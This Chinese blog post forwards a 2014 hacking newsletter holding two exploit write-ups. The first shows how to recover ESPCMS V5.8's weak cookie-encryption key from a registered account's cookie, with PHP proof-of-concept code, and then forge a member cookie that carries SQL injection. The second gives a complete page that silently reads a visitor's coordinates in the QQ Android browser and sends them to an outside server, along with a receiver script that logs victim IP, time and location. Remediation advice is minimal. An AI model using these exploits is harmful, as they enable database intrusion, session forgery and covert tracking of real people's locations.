搜索此博客

2014年8月23日星期六

Fwd: ESPCMS最新 V5.8.14.03.03 UTF8 正式版暴力注入

---------- 转发的邮件 ----------
发件人:"黑客技术" <hackdig@foxmail.com>
日期:2014年8月23日 下午12:25
主题:ESPCMS最新 V5.8.14.03.03 UTF8 正式版暴力注入
收件人: <sunkeel@gmail.com>
抄送:

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订
ESPCMS最新 V5.8.14.03.03 UTF8 正式版暴力注入  阅读原文»

/public/class_dbmysql.php行144

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {

$result = null;

if ($operation == 'ENCODE') {

for ($i = 0; $i < strlen($string); $i++) {

$char = substr($string, $i, 1);

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

$char = chr(ord($char) + ord($keychar)); //看到这应该懂了

$result.=$char;

}

$result = base64_encode($result);

$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);

} elseif ($operation == 'DECODE') {

$data = str_replace(array('-', '_'), array('+', '/'), $string);

$mod4 = strlen($data) % 4;

if ($mod4) {

$data .= substr('====', $mod4);

}

$string = base64_decode($data);

for ($i = 0; $i < strlen($string); $i++) {

$char = substr($string, $i, 1);

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

$char = chr(ord($char) - ord($keychar));

$result.=$char;

}

}

return $result;

}



很明显用的维吉尼亚密码算法。

这个算法。。。key 原始文本 结果 3个值互相交换位置都可以运算

只要知道其中两个就能算出第三个,跟异或差不多。

来看看cookie的处理:

/interface/member.php 行109

$this->fun->setcookie('ecisp_member_username', $this->fun->eccode($memberread['username'], 'ENCODE', db_pscode));



$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread|$memberread[alias]|$memberread|$memberread[mcid]|$memberread|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));



可以看到 ecisp_member_info这个cookie是由 userid alias integral mcid email等等等等组合起来的 这里先不看后面那么多 因为密钥生成的时候指定长度为20~40 前面这些已经足够我们发挥了

通过注册部分sql语句可以知道 integral默认为0 mcid默认为1 至于alias没有看到初始化的地方,反正这里进sql是null。所以ecisp_member_info的前面部分应该是

userid||0|1|email

密钥最长有40位,所以这里我们注册账号的时候填一个很长的email

QQ截图20140527135559.jpg



注册完成之后去个人中心的个人资料修改页面查看源码 能找到userid

比如我的这个是3

好了 完整的前半部分cookie就是

3||0|1|22222222222222222222@baidu.com|



然后查看当前的cookie 记下ecisp_member_info值 丢进POC

QQ图片20140527160727.jpg



得到这么一串东西

2ed61aee0bba9ff5fa59652ed61aee0bba9ff5

这里说明一下前面的加密算法

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

这里可以看到 key不是从第一位开始加密的 当$i是0或者等于密钥长度的时候

$keychar = substr($key,-1,1) 取的是最后一位 再来看刚才那串东西

2ed61aee0bba9ff5fa5965 2ed61aee0bba9ff5



这里我加了个空格 可以看到5965之后就开始重复了

第一位是最后一位(拗口)所以真正的密钥应该是 ed61aee0bba9ff5fa59652 查看一下配置文件验证 没错吧

QQ截图20140527161310.jpg



拿到这个key之后 就可以随意自己构造合法的cookie了



可以利用的地方不少 我这里随便找了一个点

/interface/messmain.php 函数in_ajaxlist()行43

function inajaxlist(){

……省略……

$ec_member_username = $this->member_cookieview('username');

if ($ec_member_username) {

$reMem = $this->get_member($ec_member_username);

$this->pagetemplate->assign('member', $reMem);

}



member_cookieview()取到username之后丢给了get_member()

先看member_cookieview()

/public/class_connector.php 行401

function member_cookieview($keyword = false) {

$retrunstr = array();

$retrunstr['username'] = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);

$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));



list($retrunstr['userid'], $retrunstr['alias'], $retrunstr['integral'], $retrunstr['mcid'], $retrunstr['email'], $retrunstr['lastip'], $retrunstr['ipadd'], $retrunstr['useragent'], $retrunstr['adminclassurl']) = $user_info;



$retrunstr['userid'] = intval($retrunstr['userid']);

$retrunstr['integral'] = intval($retrunstr['integral']);

$retrunstr['mcid'] = intval($retrunstr['mcid']);



return !$keyword ? $retrunstr : $retrunstr[$keyword];

}



从cookie中取出之后直接return了 没过滤

再看get_member()

public/class_connector.php 行2141

function get_member($username = null, $userid = 0, $returnname = null) {

$db_table = db_prefix . 'member';

$db_where = empty($username) ? " WHERE userid=$userid" : " WHERE username='$username'"; //username直接进查询

$db_sql = "SELECT * FROM $db_table $db_where";

$rsLIST = $this->db->fetch_first($db_sql);

if (!empty($returnname)) {

return $rsLIST[$returnname];

} else {

return $rsLIST;

}

}





总的流程大概就是 cookie->eccode解密->sql; 整流程就通了





漏洞证明:

用获得的key来加密sql注入语句

这里就加了个单引号

23.jpg



修改cookie ecisp_member_username值为生成的字符串

访问/index.php?ac=messmain&at=ajaxlist&did=1&ismess=1

33.jpg





附上计算key的poc

$text = ""; //原文

$cookie = ""; //cookie

$dict = "0123456789abcdef";

$bincookie = base64_decode($cookie);

for ($j=0; $j < strlen($text); $j++) {

for ($k=0; $k < 16; $k++) {

if( chr( ord($bincookie[$j]) - ord($dict[$k]) ) == $text[$j] ){

echo $dict[$k];

}

}

}

修复方案:

换个算法吧


黑客技术官网地址:http://www.hackdig.com/

腾讯QQ安卓版内置浏览器未授权获取设备地理信息  阅读原文»

测试环境: 安卓4.4.2 腾讯QQ V4.7.0.2155



给受害者发送测试地址:http://x55.me/geo.htm 当受害者通过安卓版腾讯QQ内置浏览器打开该页面时可悄然无息的获取受害者的经纬度。



geo.htm相关代码:



<!DOCTYPE html>

<html>

<body>

<script>

getLocation();

var x=document.getElementById("demo");

function getLocation()

{

if (navigator.geolocation)

{

navigator.geolocation.getCurrentPosition(showPosition);

}

else{x.innerHTML="Geolocation is not supported by this browser.";}

}

function showPosition(position)

{

img=new Image();img.src="http://x55.me/geo.php?get="+position.coords.latitude+","+position.coords.longitude;

}

</script>

</body>

</html>





再写一个简易的接收端geo.php



<?php



file_put_contents("test.txt", " IP:".$_SERVER["REMOTE_ADDR"], FILE_APPEND);



file_put_contents("test.txt", " Time:".date("Y.m.d H:i:s"),FILE_APPEND);



file_put_contents("test.txt", " geo:".$_GET["get"]."rn",FILE_APPEND);





?>





附:同类浏览器如安卓自带的浏览器,chrome均会询问用户是否要对访问地理位置的行为进行授权,如下图:



1.jpg





2.jpg



漏洞证明:

受害者接收测试地址:

3.jpg





受害者地理信息被访问时,不会经过用户的允许而直接访问:



4.jpg





查看收获的经纬度:



5.png





将经纬度用都后隔开,直接输入到谷歌地图里,进而获取用户地理位置:



6.png

修复方案:

暂无


黑客技术官网地址:http://www.hackdig.com/

阅读更多内容

没有评论: